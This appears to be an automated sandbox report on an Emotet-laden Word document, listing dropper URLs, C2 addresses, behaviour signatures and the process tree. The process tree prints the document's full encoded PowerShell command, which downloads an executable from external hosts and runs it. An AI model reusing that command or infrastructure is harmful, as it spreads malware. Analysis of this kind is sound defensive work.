Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    117s
  • resource
    win7v191014
  • submitted
    07/12/2019, 19:57

Sharing

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General

  • Target
    Docs_bb7b9f0ff1297e6480935818da798d0f.77.doc
  • Sample191207-p69p8db42e
  • SHA256 282ddf44fbb13c3ea82c1fb85e62a1db366cc254fafb1d073079b97f928d34cd
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://jdcc-stu.com/wp-includes/168386/
  • exe.dropper

    http://stevecablestreeservice.com/y8st/w4q76/
  • exe.dropper

    http://kaybork.com/howtos/620010/
  • exe.dropper

    http://dayzendapparel.com/cgi-bin/091244/
  • exe.dropper

    http://thematrix-one.info/cgi-bin/4900/

Extracted

Family

  • emotet

C2

  • 47.146.42.234:80

  • 130.45.45.31:80

  • 200.119.11.118:443

  • 96.126.121.64:443

  • 104.236.137.72:8080

  • 172.104.233.225:8080

  • 85.234.143.94:8080

  • 91.205.215.57:7080

  • 62.75.160.178:8080

  • 45.79.95.107:443

  • 190.195.129.227:8090

  • 159.203.204.126:8080

  • 181.36.42.205:443

  • 186.68.48.204:443

  • 14.160.93.230:80

  • 119.59.124.163:8080

  • 87.118.70.69:8080

  • 5.196.35.138:7080

  • 82.8.232.51:80

  • 203.130.0.69:80

rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Drops file in System32 directory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Modifies registry class 136 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Executes dropped EXE 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_bb7b9f0ff1297e6480935818da798d0f.77.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:1424
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -en JABIAGUAcAB4AGIAaAB6AHcAYgBtAGcAPQAnAFcAawBwAG8AcABxAHQAYgByAHoAJwA7ACQAUAB1AHkAdAB0AHUAagBxAHAAdQByACAAPQAgACcAOQAwADQAJwA7ACQAUQBrAGYAegBlAG8AbwB2AHcAPQAnAFMAdwBzAHIAcgBuAGgAcwB4ACcAOwAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAHUAeQB0AHQAdQBqAHEAcAB1AHIAKwAnAC4AZQB4AGUAJwA7ACQAWgBiAGIAZgBhAHIAcQBwAGYAcgBjAHUAcgA9ACcAQwBoAHIAaABwAHoAcwBrAHcAcwB5ACcAOwAkAFAAcwB2AHAAegB1AGkAaQB2AGgAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAGIAYwBMAGkARQBuAHQAOwAkAEwAbABjAHMAdAB0AHIAbABuAHYAeQBhAGYAPQAnAGgAdAB0AHAAOgAvAC8AagBkAGMAYwAtAHMAdAB1AC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwAxADYAOAAzADgANgAvACoAaAB0AHQAcAA6AC8ALwBzAHQAZQB2AGUAYwBhAGIAbABlAHMAdAByAGUAZQBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwB5ADgAcwB0AC8AdwA0AHEANwA2AC8AKgBoAHQAdABwADoALwAvAGsAYQB5AGIAbwByAGsALgBjAG8AbQAvAGgAbwB3AHQAbwBzAC8ANgAyADAAMAAxADAALwAqAGgAdAB0AHAAOgAvAC8AZABhAHkAegBlAG4AZABhAHAAcABhAHIAZQBsAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AMAA5ADEAMgA0ADQALwAqAGgAdAB0AHAAOgAvAC8AdABoAGUAbQBhAHQAcgBpAHgALQBvAG4AZQAuAGkAbgBmAG8ALwBjAGcAaQAtAGIAaQBuAC8ANAA5ADAAMAAvACcALgAiAFMAUABsAGAAaQBUACIAKAAnACoAJwApADsAJABEAHIAZgB4AHkAcgBsAGUAeQB6AD0AJwBGAGcAbQBtAHAAYwBiAGMAYQBsAGEAYQBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABPAHIAawBwAGcAdAB3AG8AYQAgAGkAbgAgACQATABsAGMAcwB0AHQAcgBsAG4AdgB5AGEAZgApAHsAdAByAHkAewAkAFAAcwB2AHAAegB1AGkAaQB2AGgALgAiAGQAbwB3AG4AYABMAG8AYQBgAEQARgBgAEkATABFACIAKAAkAE8AcgBrAHAAZwB0AHcAbwBhACwAIAAkAFcAcAB6AGcAegBuAGUAdgB0AHAAeQBhACkAOwAkAEcAcQBlAG0AYwBwAGcAbQBvAG0AZgB3AHoAPQAnAEQAaABkAGsAagBzAGcAeABoAHEAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMANwAyADMAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAHIAdAAiACgAJABXAHAAegBnAHoAbgBlAHYAdABwAHkAYQApADsAJABTAHEAZQBoAGYAcwBmAG4AdQA9ACcARwB5AHUAeQBhAGoAZwBjAHoAbwAnADsAYgByAGUAYQBrADsAJABXAGUAagBoAHoAcwB3AHcAZwBxAHkAdQA9ACcAWAByAGcAeAB5AGoAdQBzAGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQB4AHgAawB1AGEAdABrAHcAaABkAHYAbAA9ACcAWAByAGUAcQBhAGEAYQBzAG0AbwB2AGIAJwA=
    1⤵
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:780
    • C:\Users\Admin\904.exe
      "C:\Users\Admin\904.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      PID:1720
      • C:\Users\Admin\904.exe
        --af9a2e1b
        3⤵
        • Drops file in System32 directory
        • Suspicious behavior: EmotetMutantsSpam
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        PID:1460
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "13736575861871489881-16881607701145638119-1445741727-334327988-15014401241888056553"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1980
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k WerSvcGroup
    1⤵
      PID:1172
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
        PID:1832
      • C:\Windows\SysWOW64\boostwsa.exe
        "C:\Windows\SysWOW64\boostwsa.exe"
        1⤵
        • Suspicious use of WriteProcessMemory
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        PID:1576
        • C:\Windows\SysWOW64\boostwsa.exe
          --c469c514
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EmotetMutantsSpam
          • Suspicious use of SetWindowsHookEx
          • Suspicious behavior: EnumeratesProcesses
          • Executes dropped EXE
          PID:1664

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/1424-4-0x00000000096F0000-0x00000000096F4000-memory.dmp
            Download

            memory/1424-5-0x000000000667D000-0x0000000006681000-memory.dmp
            Download

            memory/1424-3-0x000000000667D000-0x0000000006681000-memory.dmp
            Download

            memory/1424-2-0x000000000667D000-0x0000000006681000-memory.dmp
            Download

            memory/1424-1-0x000000000667D000-0x0000000006681000-memory.dmp
            Download

            memory/1424-0-0x0000000006440000-0x0000000006444000-memory.dmp
            Download

            memory/1460-12-0x00000000004D0000-0x00000000004E7000-memory.dmp
            Download

            memory/1460-13-0x0000000000400000-0x000000000044A000-memory.dmp
            Download

            memory/1576-15-0x0000000000830000-0x0000000000847000-memory.dmp
            Download

            memory/1664-17-0x0000000000340000-0x0000000000357000-memory.dmp
            Download

            memory/1664-18-0x0000000000400000-0x000000000044A000-memory.dmp
            Download

            memory/1720-9-0x0000000000250000-0x0000000000267000-memory.dmp
            Download